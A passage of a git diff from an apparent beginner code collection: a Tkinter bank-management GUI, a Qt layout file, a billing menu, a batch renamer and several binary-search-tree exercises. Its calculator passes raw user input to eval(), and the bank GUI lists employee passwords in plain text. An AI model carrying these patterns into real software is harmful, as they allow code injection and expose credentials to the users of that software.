text="Name\t\t\tSalary\t\t\tPosition\t\t\tpassword", + font="bold", + ) + label.grid(row=0) + + details = backend.show_employees() + + for i in details: + label = Label( + show_employee_frame, + text="{}\t\t\t{}\t\t\t{}\t\t\t{}".format(i[0], i[1], i[2], i[3]), + ) + label.grid(pady=4) + + button = Button( + show_employee_frame, + text="Exit", + command=back_to_main_page1, + width=20, + height=2, + bg="red", + font="bold", + ) + button.grid() + + mainloop() + + +def Total_money(): + def back_to_main_page1_from_total_money(): + all_money.grid_forget() + page1() + + page1_frame.grid_forget() + + all = backend.all_money() + + global all_money + all_money = Frame(tk) + all_money.grid(padx=500, pady=300) + + label = Label(all_money, text="Total Amount of money") + label.grid(row=0, pady=6) + + label = Label(all_money, text="{}".format(all)) + label.grid(row=1) + + button = Button( + all_money, + text="Back", + command=back_to_main_page1_from_total_money, + width=15, + height=2, + ) + button.grid(row=3) + + mainloop() + + +def back_to_main(): + page1_frame.grid_forget() + global frame + frame = Frame(tk, bg="black") + frame.grid(padx=500, pady=250) + + button = Button(frame, text="Admin", command=admin_login) + button.grid(row=0, pady=20) + + button = Button(frame, text="Employee", command=employee_login) + button.grid(row=1, pady=20) + + button = Button(frame, text="Exit", command=tk.destroy) + button.grid(row=2, pady=20) + tk.mainloop() + + mainloop() + + +# mai page for admin +def page1(): + def back_to_main2(): + admin_frame.grid_forget() + global frame + frame = Frame(tk, bg="black") + frame.grid(padx=500, pady=250) + + button = Button(frame, text="Admin", command=admin_login) + button.grid(row=0, pady=20) + + button = Button(frame, text="Employee", command=employee_login) + button.grid(row=1, pady=20) + + button = Button(frame, text="Exit", command=tk.destroy) + button.grid(row=2, pady=20) + tk.mainloop() + + mainloop() + + name = entry1.get() + password = entry2.get() + if len(name) != 0 and len(password) != 0: + result = backend.check_admin(name, password) + print(result) + if result: + admin_frame.grid_forget() + + global page1_frame + page1_frame = Frame(tk, bg="black") + page1_frame.grid(padx=500, pady=200) + + button10 = Button( + page1_frame, + text="New Employee", + command=create_employee, + width=20, + height=2, + ) + button10.grid(row=0, pady=6) + + button11 = Button( + page1_frame, + text="Update detail", + command=update_employee, + width=20, + height=2, + ) + button11.grid(row=1, pady=6) + + button13 = Button( + page1_frame, + text="Show All Employee", + command=show_employee, + width=20, + height=2, + ) + button13.grid(row=2, pady=6) + + button11 = Button( + page1_frame, text="Total Money", command=Total_money, width=20, height=2 + ) + button11.grid(row=3, pady=6) + + button12 = Button( + page1_frame, text="Back", command=back_to_main, width=20, height=2 + ) + button12.grid(row=4, pady=6) + + mainloop() + else: + label = Label(admin_frame, text="Invalid id and pasasword") + label.grid(row=6, pady=10) + button = Button(admin_frame, text="Exit", command=back_to_main2) + button.grid(row=7) + mainloop() + else: + label = Label(admin_frame, text="Please fill All Entries") + label.grid(row=6, pady=10) + button = Button(admin_frame, text="Exit", command=back_to_main2) + button.grid(row=7) + mainloop() + + +# Login form for employee +def employee_login(): + def back_to_main3(): + employee_frame.grid_forget() + global frame + frame = Frame(tk, bg="black") + frame.grid(padx=400, pady=250) + + button = Button(frame, text="Admin", command=admin_login) + button.grid(row=0, pady=20) + + button = Button(frame, text="Employee", command=employee_login) + button.grid(row=1, pady=20) + + button = Button(frame, text="Exit", command=tk.destroy) + button.grid(row=2, pady=20) + tk.mainloop() + + mainloop() + + def check_emp(): + name = entry1.get() + password = entry2.get() + if len(name) != 0 and len(password) != 0: + result = backend.check_employee(name, password) + print(result) + if result: + employee_frame.grid_forget() + page2() + else: + label = Label(employee_frame, text="Invalid id and pasasword") + label.grid(row=6, pady=10) + button = Button(employee_frame, text="Exit", command=back_to_main3) + button.grid(row=7) + + mainloop() + else: + label = Label(employee_frame, text="Please Fill All Entries") + label.grid(row=6, pady=10) + button = Button(employee_frame, text="Exit", command=back_to_main3) + button.grid(row=7) + + mainloop() + + frame.grid_forget() + + global employee_frame + employee_frame = Frame(tk, bg="black") + employee_frame.grid(padx=500, pady=200) + + label = Label(employee_frame, text="Employee Login", font="bold") + label.grid(row=0, pady=20) + + label1 = Label(employee_frame, text="Name:") + label1.grid(row=1, pady=10) + + label2 = Label(employee_frame, text="Password:") + label2.grid(row=3, pady=10) + global entry1 + global entry2 + entry1 = Entry(employee_frame) + entry1.grid(row=2, pady=10) + + entry2 = Entry(employee_frame, show="*") + entry2.grid(row=4, pady=10) + + button = Button(employee_frame, text="Submit", command=check_emp) + button.grid(row=5, pady=20) + mainloop() + + +# Login form for admin +def admin_login(): + frame.grid_forget() + global admin_frame + admin_frame = Frame(tk, bg="black") + admin_frame.grid(padx=500, pady=250) + + label = Label(admin_frame, text="Admin Login", font="bold") + label.grid(row=0, pady=20) + + label1 = Label(admin_frame, text="Name:") + label1.grid(row=1, pady=10) + + label2 = Label(admin_frame, text="Password:") + label2.grid(row=3, pady=10) + global entry1 + global entry2 + entry1 = Entry(admin_frame) + entry1.grid(row=2, pady=10) + + entry2 = Entry(admin_frame, show="*") + entry2.grid(row=4, pady=10) + + button = Button(admin_frame, text="Submit", command=page1) + button.grid(row=5, pady=20) + mainloop() + + +# creating window +global tk +tk = Tk() + +tk.config(bg="black") +tk.title("Bank Managing System") +tk.minsize(1200, 800) +tk.maxsize(1200, 800) + +global frame +frame = Frame(tk, bg="black") +frame.grid(padx=500, pady=250) + +button = Button(frame, text="Admin", command=admin_login) +button.grid(row=0, pady=20) + +button = Button(frame, text="Employee", command=employee_login) +button.grid(row=1, pady=20) + +button = Button(frame, text="Exit", command=tk.destroy) +button.grid(row=2, pady=20) +tk.mainloop() diff --git a/bank_managment_system/untitled.ui b/bank_managment_system/untitled.ui new file mode 100644 index 00000000000..12c130fb4e7 --- /dev/null +++ b/bank_managment_system/untitled.ui @@ -0,0 +1,862 @@ + + + MainWindow + + + + 0 + 0 + 800 + 600 + + + + MainWindow + + + + background-color: #f0f2f5; +QPushButton { + background-color: #3498db; + color: white; + font-family: 'Segoe UI'; + font-size: 16px; + font-weight: bold; + border-radius: 8px; + padding: 12px; + border: none; + } + QPushButton:hover { + background-color: #2980b9; + } + QPushButton:pressed { + background-color: #1c6ea4; + } + + + + + + + 2 + + + + + + + + background-color: #ffffff; + border-radius: 10px; + padding: 10px; + + + + QFrame::StyledPanel + + + QFrame::Raised + + + + + + + 30 + + + + + color: #2c3e50; + padding: 10px; + + + + Bank Management system + + + + + + + + + + + 0 + 0 + + + + QFrame::StyledPanel + + + QFrame::Raised + + + + + + QFrame::StyledPanel + + + QFrame::Raised + + + + + + + 300 + 0 + + + + + 16 + + + + + + background-color: #ffffff; + border-radius: 15px; + padding: 20px; + + + + QFrame::StyledPanel + + + QFrame::Raised + + + + + + QPushButton { + background-color: #3498db; + color: white; + font-family: 'Segoe UI'; + font-size: 16px; + font-weight: bold; + border-radius: 8px; + padding: 12px; + border: none; + } + QPushButton:hover { + background-color: #2980b9; + } + QPushButton:pressed { + background-color: #1c6ea4; + } + + + Admin + + + + + + + QPushButton { + background-color: #3498db; + color: white; + font-family: 'Segoe UI'; + font-size: 16px; + font-weight: bold; + border-radius: 8px; + padding: 12px; + border: none; + } + QPushButton:hover { + background-color: #2980b9; + } + QPushButton:pressed { + background-color: #1c6ea4; + } + + + Employee + + + + + + + QPushButton { + background-color: #3498db; + color: white; + font-family: 'Segoe UI'; + font-size: 16px; + font-weight: bold; + border-radius: 8px; + padding: 12px; + border: none; + } + QPushButton:hover { + background-color: #2980b9; + } + QPushButton:pressed { + background-color: #1c6ea4; + } + + + Exit + + + + + + + + + + + + + + + + + + + + QFrame::StyledPanel + + + QFrame::Raised + + + + + 340 + 210 + 261 + 231 + + + + QFrame::StyledPanel + + + QFrame::Raised + + + + + 20 + 20 + 75 + 23 + + + + PushButton + + + + + + + + + + + + + + background-color: #ffffff; + border-radius: 10px; + padding: 10px; + + + + QFrame::StyledPanel + + + QFrame::Raised + + + + + + + 30 + + + + + color: #2c3e50; + padding: 10px; + + + + Employee Login + + + + + + + + + + + 0 + 0 + + + + QFrame::StyledPanel + + + QFrame::Raised + + + + + + + 340 + 200 + + + + + 16 + + + + + + background-color: #ffffff; + border-radius: 15px; + padding: 10px; + + + + QFrame::StyledPanel + + + QFrame::Raised + + + + 0 + + + 0 + + + 0 + + + 0 + + + 0 + + + + + padding:7 + + + QFrame::StyledPanel + + + QFrame::Raised + + + + 0 + + + 0 + + + 0 + + + 0 + + + 0 + + + + + + 120 + 0 + + + + + 12 + 75 + true + + + + + color: #2c3e50; + + + + Name : + + + + + + + background-color: rgb(168, 168, 168); + + + + + + + + + + + + + padding:7 + + + QFrame::StyledPanel + + + QFrame::Raised + + + + 0 + + + 0 + + + 0 + + + 0 + + + 0 + + + + + + 120 + 0 + + + + + 12 + 75 + true + + + + + color: #2c3e50; + + + + Password : + + + + + + + background-color: rgb(168, 168, 168); + + + + + + + + + + + + + padding:7 + + + QFrame::StyledPanel + + + QFrame::Raised + + + + 60 + + + 0 + + + 0 + + + 0 + + + 0 + + + + + + 150 + 0 + + + + QPushButton { + background-color: #3498db; + color: white; + font-family: 'Segoe UI'; + font-size: 16px; + font-weight: bold; + border-radius: 8px; + padding: 12px; + border: none; + } + QPushButton:hover { + background-color: #2980b9; + } + QPushButton:pressed { + background-color: #1c6ea4; + } + + + Submit + + + + + + + + + + + + + + + + + + + + + background-color: #ffffff; + border-radius: 10px; + padding: 10px; + + + + QFrame::StyledPanel + + + QFrame::Raised + + + + + + + 30 + + + + + color: #2c3e50; + padding: 10px; + + + + Admin Login + + + + + + + + + + + 0 + 0 + + + + QFrame::StyledPanel + + + QFrame::Raised + + + + + + + 340 + 200 + + + + + 16 + + + + + + background-color: #ffffff; + border-radius: 15px; + padding: 10px; + + + + QFrame::StyledPanel + + + QFrame::Raised + + + + 0 + + + 0 + + + 0 + + + 0 + + + 0 + + + + + padding:7 + + + QFrame::StyledPanel + + + QFrame::Raised + + + + 0 + + + 0 + + + 0 + + + 0 + + + 0 + + + + + + 120 + 0 + + + + + 12 + 75 + true + + + + + color: #2c3e50; + + + + Name : + + + + + + + background-color: rgb(168, 168, 168); + + + + + + + + + + + + + padding:7 + + + QFrame::StyledPanel + + + QFrame::Raised + + + + 0 + + + 0 + + + 0 + + + 0 + + + 0 + + + + + + 120 + 0 + + + + + 12 + 75 + true + + + + + color: #2c3e50; + + + + Password : + + + + + + + background-color: rgb(168, 168, 168); + + + + + + + + + + + + + padding:7 + + + QFrame::StyledPanel + + + QFrame::Raised + + + + 60 + + + 0 + + + 0 + + + 0 + + + 0 + + + + + + 150 + 0 + + + + QPushButton { + background-color: #3498db; + color: white; + font-family: 'Segoe UI'; + font-size: 16px; + font-weight: bold; + border-radius: 8px; + padding: 12px; + border: none; + } + QPushButton:hover { + background-color: #2980b9; + } + QPushButton:pressed { + background-color: #1c6ea4; + } + + + Submit + + + + + + + + + + + + + + + + + + + + + + diff --git a/basic_cal.py b/basic_cal.py new file mode 100644 index 00000000000..a22093aef93 --- /dev/null +++ b/basic_cal.py @@ -0,0 +1,8 @@ +while True: + try: + print(eval(input("enter digits with operator (e.g. 5+5)\n"))) + except: + print("Invalid Input, try again..") + +# Simple Calculator using eval() in Python +# This calculator takes user input like "5+5" or "10/2" and shows the result. diff --git a/batch_file_rename.py b/batch_file_rename.py index 0241141acf8..b3a4d75e6d5 100644 --- a/batch_file_rename.py +++ b/batch_file_rename.py @@ -1,51 +1,82 @@ # batch_file_rename.py # Created: 6th August 2012 -''' +""" This will batch rename a group of files in a given directory, once you pass the current and new extensions -''' +""" -__author__ = 'Craig Richards' -__version__ = '1.0' +# just checking +__author__ = "Craig Richards" +__version__ = "1.0" +import argparse import os -import sys def batch_rename(work_dir, old_ext, new_ext): - ''' + """ This will batch rename a group of files in a given directory, once you pass the current and new extensions - ''' + """ # files = os.listdir(work_dir) for filename in os.listdir(work_dir): # Get the file extension - file_ext = os.path.splitext(filename)[1] + split_file = os.path.splitext(filename) + # Unpack tuple element + root_name, file_ext = split_file # Start of the logic to check the file extensions, if old_ext = file_ext if old_ext == file_ext: - # Set newfile to be the filename, replaced with the new extension - newfile = filename.replace(old_ext, new_ext) + # Returns changed name of the file with new extention + newfile = root_name + new_ext + # Write the files - os.rename( - os.path.join(work_dir, filename), - os.path.join(work_dir, newfile) - ) + os.rename(os.path.join(work_dir, filename), os.path.join(work_dir, newfile)) + print("rename is done!") + print(os.listdir(work_dir)) + + +def get_parser(): + parser = argparse.ArgumentParser( + description="change extension of files in a working directory" + ) + parser.add_argument( + "work_dir", + metavar="WORK_DIR", + type=str, + nargs=1, + help="the directory where to change extension", + ) + parser.add_argument( + "old_ext", metavar="OLD_EXT", type=str, nargs=1, help="old extension" + ) + parser.add_argument( + "new_ext", metavar="NEW_EXT", type=str, nargs=1, help="new extension" + ) + return parser def main(): - ''' - This will be called if the script is directly envoked. - ''' + """ + This will be called if the script is directly invoked. + """ + # adding command line argument + parser = get_parser() + args = vars(parser.parse_args()) + # Set the variable work_dir with the first argument passed - work_dir = sys.argv[1] + work_dir = args["work_dir"][0] # Set the variable old_ext with the second argument passed - old_ext = sys.argv[2] + old_ext = args["old_ext"][0] + if old_ext and old_ext[0] != ".": + old_ext = "." + old_ext # Set the variable new_ext with the third argument passed - new_ext = sys.argv[3] + new_ext = args["new_ext"][0] + if new_ext and new_ext[0] != ".": + new_ext = "." + new_ext + batch_rename(work_dir, old_ext, new_ext) -if __name__ == '__main__': +if __name__ == "__main__": main() - diff --git a/billing.py b/billing.py new file mode 100644 index 00000000000..451135cc91c --- /dev/null +++ b/billing.py @@ -0,0 +1,68 @@ + +items = {"apple": 5, "soap": 4, "soda": 6, "pie": 7, "cake": 20} +total_price = 0 +try: + print(""" +Press 1 for apple +Press 2 for soap +Press 3 for soda +Press 4 for pie +Press 5 for cake +Press 6 for bill""") + while True: + choice = int(input("enter your choice here..")) + if choice == 1: + print("Apple added to the cart") + total_price += items["apple"] + + elif choice == 2: + print("soap added to the cart") + total_price += items["soap"] + elif choice == 3: + print("soda added to the cart") + total_price += items["soda"] + elif choice == 4: + print("pie added to the cart") + total_price += items["pie"] + elif choice == 5: + print("cake added to the cart") + total_price += items["cake"] + elif choice == 6: + print(f""" + +Total amount :{total_price} +""") + break + else: + print("Please enter the digits within the range 1-6..") +except: + print("enter only digits") +""" +Code Explanation: +A dictionary named items is created to store product names and their corresponding prices. +Example: "apple": 5 means apple costs 5 units. + +one variable is initialized: + +total_price to keep track of the overall bill. + + +A menu is printed that shows the user what number to press for each item or to generate the final bill. + +A while True loop is started, meaning it will keep running until the user explicitly chooses to stop (by selecting "6" for the bill). + +Inside the loop: + +The user is asked to enter a number (1–6). + +Depending on their input: + +If they enter 1–5, the corresponding item is "added to the cart" and its price is added to the total_price. + +If they enter 6, the total price is printed and the loop breaks (ends). + +If they enter something outside 1–6, a warning message is shown. + +The try-except block is used to catch errors if the user enters something that's not a number (like a letter or symbol). +In that case, it simply shows: "enter only digits". +""" diff --git a/binary search.py b/binary search.py new file mode 100644 index 00000000000..2cf464c8f20 --- /dev/null +++ b/binary search.py @@ -0,0 +1,25 @@ +def binarySearchAppr(arr, start, end, x): + # check condition + if end >= start: + mid = start + (end - start) // 2 + # If element is present at the middle + if arr[mid] == x: + return mid + # If element is smaller than mid + elif arr[mid] > x: + return binarySearchAppr(arr, start, mid - 1, x) + # Else the element greator than mid + else: + return binarySearchAppr(arr, mid + 1, end, x) + else: + # Element is not found in the array + return -1 + + +arr = sorted(["t", "u", "t", "o", "r", "i", "a", "l"]) +x = "r" +result = binarySearchAppr(arr, 0, len(arr) - 1, x) +if result != -1: + print("Element is present at index " + str(result)) +else: + print("Element is not present in array") diff --git a/binarySTree isTrue_YashV1729.Java b/binarySTree isTrue_YashV1729.Java new file mode 100644 index 00000000000..e758ab13e34 --- /dev/null +++ b/binarySTree isTrue_YashV1729.Java @@ -0,0 +1,67 @@ +//Java implementation to check if given Binary tree +//is a BST or not + +/* Class containing left and right child of current +node and key value*/ +class Node +{ + int data; + Node left, right; + + public Node(int item) + { + data = item; + left = right = null; + } +} + +public class BinaryTree +{ + //Root of the Binary Tree + Node root; + + /* can give min and max value according to your code or + can write a function to find min and max value of tree. */ + + /* returns true if given search tree is binary + search tree (efficient version) */ + boolean isBST() { + return isBSTUtil(root, Integer.MIN_VALUE, + Integer.MAX_VALUE); + } + + /* Returns true if the given tree is a BST and its + values are >= min and <= max. */ + boolean isBSTUtil(Node node, int min, int max) + { + /* an empty tree is BST */ + if (node == null) + return true; + + /* false if this node violates the min/max constraints */ + if (node.data < min || node.data > max) + return false; + + /* otherwise check the subtrees recursively + tightening the min/max constraints */ + // Allow only distinct values + return (isBSTUtil(node.left, min, node.data-1) && + isBSTUtil(node.right, node.data+1, max)); + } + + /* Driver program to test above functions */ + public static void main(String args[]) + { + BinaryTree tree = new BinaryTree(); + tree.root = new Node(4); + tree.root.left = new Node(2); + tree.root.right = new Node(5); + tree.root.left.left = new Node(1); + tree.root.left.right = new Node(3); + + if (tree.isBST()) + System.out.println("IS BST"); + else + System.out.println("Not a BST"); + } +} diff --git a/binary_search_tree.py b/binary_search_tree.py new file mode 100755 index 00000000000..327c45c722d --- /dev/null +++ b/binary_search_tree.py @@ -0,0 +1,382 @@ +class Node: + """Class for node of a tree""" + + def __init__(self, info): + """Initialising a node""" + self.info = info + self.left = None + self.right = None + # self.level = None + + def __str__(self): + return str(self.info) + + def __del__(self): + del self + + +class BinarySearchTree: + """Class for BST""" + + def __init__(self): + """Initialising a BST""" + self.root = None + + def insert(self, val): + """Creating a BST with root value as val""" + # Check if tree has root with None value + if self.root is None: + self.root = Node(val) + # Here the tree already has one root + else: + current = self.root + while True: + if val < current.info: + if current.left: + current = current.left + else: + current.left = Node(val) + break + elif val > current.info: + if current.right: + current = current.right + else: + current.right = Node(val) + break + else: + break + + def search(self, val, to_delete=False): + current = self.root + prev = -1 + while current: + if val < current.info: + prev = current + current = current.left + elif val > current.info: + prev = current + current = current.right + elif current.info == val: + if not to_delete: + return "Match Found" + return prev + else: + break + if not to_delete: + return "Not Found" + + # Method to delete a tree-node if it exists, else error message will be returned. + def delete(self, val): + prev = self.search(val, True) + # Check if node exists + if prev is not None: + # Check if node is the Root node + if prev == -1: + temp = self.root.left + prev2 = None + while temp.right: + prev2 = temp + temp = temp.right + if prev2 is None: + self.root.left = temp.left + self.root.info = temp.info + else: + prev2.right = None + self.root.info = temp.info + print("Deleted Root ", val) + # Check if node is to left of its parent + elif prev.left and prev.left.info == val: + # Check if node is leaf node + if prev.left.left is prev.left.right: + prev.left = None + print("Deleted Node ", val) + # Check if node has child at left and None at right + elif prev.left.left and prev.left.right is None: + prev.left = prev.left.left + print("Deleted Node ", val) + # Check if node has child at right and None at left + elif prev.left.left is None and prev.left.right: + prev.left = prev.left.right + print("Deleted Node ", val) + # Here node to be deleted has 2 children + elif prev.left.left and prev.left.right: + temp = prev.left + while temp.right is not None: + prev2 = temp + temp = temp.right + prev2.right = None + prev.left.info = temp.info + print("Deleted Node ", val) + else: + print("Error Left") + + # Check if node is to right of its parent + elif prev.right.info == val: + flag = 0 + # Check is node is a leaf node + if prev.right.left is prev.right.right: + prev.right = None + flag = 1 + print("Deleted Node ", val) + # Check if node has left child at None at right + if prev.right and prev.right.left and prev.right.right is None: + prev.right = prev.right.left + print("Deleted Node ", val) + # Check if node has right child at None at left + elif prev.right and prev.right.left is None and prev.right.right: + prev.right = prev.right.right + print("Deleted Node ", val) + elif prev.right and prev.right.left and prev.right.right: + temp = prev.right + while temp.left is not None: + prev2 = temp + temp = temp.left + prev2.left = None + prev.right.info = temp.info + print("Deleted Node ", val) + else: + if flag == 0: + print("Error") + else: + print("Node doesn't exists") + + def __str__(self): + return "Not able to print tree yet" + + +def is_bst(node, lower_lim=None, upper_lim=None): + """Function to find is a binary tree is a binary search tree.""" + if lower_lim is not None and node.info < lower_lim: + return False + if upper_lim is not None and node.info > upper_lim: + return False + is_left_bst = True + is_right_bst = True + if node.left is not None: + is_left_bst = is_bst(node.left, lower_lim, node.info) + if is_left_bst and node.right is not None: + is_right_bst = is_bst(node.right, node.info, upper_lim) + return is_left_bst and is_right_bst + + +def postorder(node): + # L R N : Left , Right, Node + if node is None: + return + if node.left: + postorder(node.left) + if node.right: + postorder(node.right) + print(node.info) + + +def inorder(node): + # L N R : Left, Node , Right + if node is None: + return + if node.left: + inorder(node.left) + print(node.info) + if node.right: + inorder(node.right) + + +def preorder(node): + # N L R : Node , Left, Right + if node is None: + return + print(node.info) + if node.left: + preorder(node.left) + if node.right: + preorder(node.right) + + +# Levelwise +def bfs(node): + queue = [] + if node: + queue.append(node) + while queue != []: + temp = queue.pop(0) + print(temp.info) + if temp.left: + queue.append(temp.left) + if temp.right: + queue.append(temp.right) + + +def preorder_itr(node): + # N L R : Node, Left , Right + stack = [node] + values = [] + while stack != []: + temp = stack.pop() + print(temp.info) + values.append(temp.info) + if temp.right: + stack.append(temp.right) + if temp.left: + stack.append(temp.left) + return values + + +def inorder_itr(node): + # L N R : Left, Node, Right + # 1) Create an empty stack S. + # 2) Initialize current node as root + # 3) Push the current node to S and set current = current->left until current is NULL + # 4) If current is NULL and stack is not empty then + # a) Pop the top item from stack. + # b) Print the popped item, set current = popped_item->right + # c) Go to step 3. + # 5) If current is NULL and stack is empty then we are done. + stack = [] + current = node + while True: + if current != None: + stack.append(current) # L + current = current.left + elif stack != []: + temp = stack.pop() + print(temp.info) # N + current = temp.right # R + else: + break + + +def postorder_itr(node): + # L R N + # 1. Push root to first stack. + # 2. Loop while first stack is not empty + # 2.1 Pop a node from first stack and push it to second stack + # 2.2 Push left and right children of the popped node to first stack + # 3. Print contents of second stack + s1, s2 = [node], [] + while s1 != []: + temp = s1.pop() + s2.append(temp) + if temp.left: + s1.append(temp.left) + if temp.right: + s1.append(temp.right) + print(*(s2[::-1])) + + +def bst_frm_pre(pre_list): + box = Node(pre_list[0]) + if len(pre_list) > 1: + if len(pre_list) == 2: + if pre_list[1] > pre_list[0]: + box.right = Node(pre_list[1]) + else: + box.left = Node(pre_list[1]) + else: + all_less = False + for i in range(1, len(pre_list)): + if pre_list[i] > pre_list[0]: + break + else: + all_less = True + if i != 1: + box.left = bst_frm_pre(pre_list[1:i]) + if not all_less: + box.right = bst_frm_pre(pre_list[i:]) + return box + + +# Function to find the lowest common ancestor of nodes with values c1 and c2. +# It return value in the lowest common ancestor, -1 indicates value returned for None. +# Note that both values v1 and v2 should be present in the bst. +def lca(t_node, c1, c2): + if c1 == c2: + return c1 + current = t_node + while current: + if c1 < current.info and c2 < current.info: + current = current.left + elif c1 > current.info and c2 > current.info: + current = current.right + else: + return current.info + return -1 + + +# Function to print element vertically which lie just below the root node +def vertical_middle_level(t_node): + e = (t_node, 0) # 0 indicates level 0, to left we have -ve and to right +ve + queue = [e] + ans = [] + # Do a level-order traversal and assign level-value to each node + while queue != []: + temp, level = queue.pop(0) + if level == 0: + ans.append(str(temp.info)) + if temp.left: + queue.append((temp.left, level - 1)) + if temp.right: + queue.append((temp.right, level + 1)) + return " ".join(ans) + + +def get_level(n, val): + c_level = 0 + + while n.info != val: + if val < n.info: + n = n.left + elif val > n.info: + n = n.right + c_level += 1 + if n is None: + return -1 + + return c_level + + +def depth(node): + if node is None: + return 0 + l_depth, r_depth = 0, 0 + if node.left: + l_depth = depth(node.left) + if node.right: + r_depth = depth(node.right) + # print(node.info, l_depth, r_depth) + return 1 + max(l_depth, r_depth) + + +t = BinarySearchTree() +t.insert(10) +t.insert(5) +t.insert(15) +t.insert(3) +t.insert(1) +t.insert(0) +t.insert(2) +t.insert(7) +t.insert(12) +t.insert(18) +t.insert(19) +print(depth(t.root)) +# inorder(t.root) +# print() +# print(t.search(5)) +# t.delete(7) +# t.delete(5) +# t.delete(3) +# t.delete(15) +# inorder(t.root) +# print() +# t.delete(2) +# t.delete(3) +# t.delete(7) +# t.delete(19) +# t.delete(1) +# inorder(t.root) +# b = BinarySearchTree() +# b.root = bst_frm_pre(preorder_itr(t.root)) +# print(preorder_itr(b.root) == preorder_itr(t.root)) +# print(lca(t.root, 3, 18)) +# print(vertical_middle_level(t.root)) +# print(get_level(t.root, 1)) diff --git a/binary_search_trees/delete_a_node_in_bst.py b/binary_search_trees/delete_a_node_in_bst.py new file mode 100644 index 00000000000..8d144cba4ac --- /dev/null +++ b/binary_search_trees/delete_a_node_in_bst.py @@ -0,0 +1,37 @@ +from typing import Optional +from inorder_successor import inorder_successor +from tree_node import Node + + +# The above line imports the inorder_successor function from the inorder_successor.py file +def delete_node(root: Node, val: int) -> Optional[Node]: + """This function deletes a node with value val from the BST""" + + # Search in the right subtree + if root.data < val: + root.right = delete_node(root.right, val) + + # Search in the left subtree + elif root.data > val: + root.left = delete_node(root.left, val) + + # Node to be deleted is found + else: + # Case 1: No child (leaf node) + if root.left is None and root.right is None: + return None + + # Case 2: One child + if root.left is None: + return root.right + + # Case 2: One child + elif root.right is None: + return root.left + + # Case 3: Two children + # Find the inorder successor + is_node: Node = inorder_successor(root.right) + root.data = is_node.data + root.right = delete_node(root.right, is_node.data) + return root diff --git a/binary_search_trees/inorder_successor.py b/binary_search_trees/inorder_successor.py new file mode 100644 index 00000000000..b7c341e50e9 --- /dev/null +++ b/binary_search_trees/inorder_successor.py @@ -0,0 +1,13 @@ +from tree_node import Node + + +def inorder_successor(root: Node) -> Node: + """This function returns the inorder successor of a node in a BST""" + + # The inorder successor of a node is the node with the smallest value greater than the value of the node + current: Node = root + + # The inorder successor is the leftmost node in the right subtree + while current.left is not None: + current = current.left + return current diff --git a/binary_search_trees/inorder_traversal.py b/binary_search_trees/inorder_traversal.py new file mode 100644 index 00000000000..b63b01dbb28 --- /dev/null +++ b/binary_search_trees/inorder_traversal.py @@ -0,0 +1,19 @@ +from typing import Optional +from tree_node import Node + + +def inorder(root: Optional[Node]) -> None: + """This function performs an inorder traversal of a BST""" + + # The inorder traversal of a BST is the nodes in increasing order + if root is None: + return + + # Traverse the left subtree + inorder(root.left) + + # Print the root node + print(root.data) + + # Traverse the right subtree + inorder(root.right) diff --git a/binary_search_trees/insert_in_bst.py b/binary_search_trees/insert_in_bst.py new file mode 100644 index 00000000000..8201261ae1b --- /dev/null +++ b/binary_search_trees/insert_in_bst.py @@ -0,0 +1,19 @@ +from typing import Optional +from tree_node import Node + + +def insert(root: Optional[Node], val: int) -> Node: + """This function inserts a node with value val into the BST""" + + # If the tree is empty, create a new node + if root is None: + return Node(val) + + # If the value to be inserted is less than the root value, insert in the left subtree + if val < root.data: + root.left = insert(root.left, val) + + # If the value to be inserted is greater than the root value, insert in the right subtree + else: + root.right = insert(root.right, val) + return root diff --git a/binary_search_trees/main.py b/binary_search_trees/main.py new file mode 100644 index 00000000000..f2f618920e4 --- /dev/null +++ b/binary_search_trees/main.py @@ -0,0 +1,81 @@ +from typing import Optional +from insert_in_bst import insert +from delete_a_node_in_bst import delete_node +from search_in_bst import search +from mirror_a_bst import create_mirror_bst +from print_in_range import print_in_range +from root_to_leaf_paths import print_root_to_leaf_paths +from validate_bst import is_valid_bst +from tree_node import Node + + +def main() -> None: + # Create a BST + root: Optional[Node] = None + root = insert(root, 50) + root = insert(root, 30) + root = insert(root, 20) + root = insert(root, 40) + root = insert(root, 70) + root = insert(root, 60) + root = insert(root, 80) + + # Print the inorder traversal of the BST + print("Inorder traversal of the original BST:") + print_in_range(root, 10, 90) + + # Print the root to leaf paths + print("Root to leaf paths:") + print_root_to_leaf_paths(root, []) + + # Check if the tree is a BST + print("Is the tree a BST:", is_valid_bst(root, None, None)) + + # Delete nodes from the BST + print("Deleting 20 from the BST:") + if root is not None: + root = delete_node(root, 20) + + # Print the inorder traversal of the BST + print("Inorder traversal of the BST after deleting 20:") + print_in_range(root, 10, 90) + + # Check if the tree is a BST + print("Is the tree a BST:", is_valid_bst(root, None, None)) + + # Delete nodes from the BST + print("Deleting 30 from the BST:") + if root is not None: + root = delete_node(root, 30) + + # Print the inorder traversal of the BST after deleting 30 + print("Inorder traversal of the BST after deleting 30:") + print_in_range(root, 10, 90) + + # Check if the tree is a BST + print("Is the tree a BST:", is_valid_bst(root, None, None)) + + # Delete nodes from the BST + print("Deleting 50 from the BST:") + if root is not None: + root = delete_node(root, 50) + + # Print the inorder traversal of the BST after deleting 50 + print("Inorder traversal of the BST after deleting 50:") + print_in_range(root, 10, 90) + + # Check if the tree is a BST + print("Is the tree a BST:", is_valid_bst(root, None, None)) + + print("Searching for 70 in the BST:", search(root, 70)) + print("Searching for 100 in the BST:", search(root, 100)) + print("Inorder traversal of the BST:") + print_in_range(root, 10, 90) + print("Creating a mirror of the BST:") + mirror_root: Optional[Node] = create_mirror_bst(root) + print("Inorder traversal of the mirror BST:") + print_in_range(mirror_root, 10, 90) + + +if __name__ == "__main__": + main() diff --git a/binary_search_trees/mirror_a_bst.py b/binary_search_trees/mirror_a_bst.py new file mode 100644 index 00000000000..579b7766092 --- /dev/null +++ b/binary_search_trees/mirror_a_bst.py @@ -0,0 +1,19 @@ +from typing import Optional +from tree_node import Node + + +def create_mirror_bst(root: Optional[Node]) -> Optional[Node]: + """Function to create a mirror of a binary search tree""" + + # If the tree is empty, return None + if root is None: + return None + + # Recursively create the mirror of the left and right subtrees + left_mirror: Optional[Node] = create_mirror_bst(root.left) + right_mirror: Optional[Node] = create_mirror_bst(root.right) + + # Swap left and right subtrees + root.left = right_mirror + root.right = left_mirror + return root diff --git a/binary_search_trees/print_in_range.py b/binary_search_trees/print_in_range.py new file mode 100644 index 00000000000..351c81422f8 --- /dev/null +++ b/binary_search_trees/print_in_range.py @@ -0,0 +1,28 @@ +from typing import Optional +from tree_node import Node + + +def print_in_range(root: Optional[Node], k1: int, k2: int) -> None: + """This function prints the nodes in a BST that are in the range k1 to k2 inclusive""" + + # If the tree is empty, return + if root is None: + return + 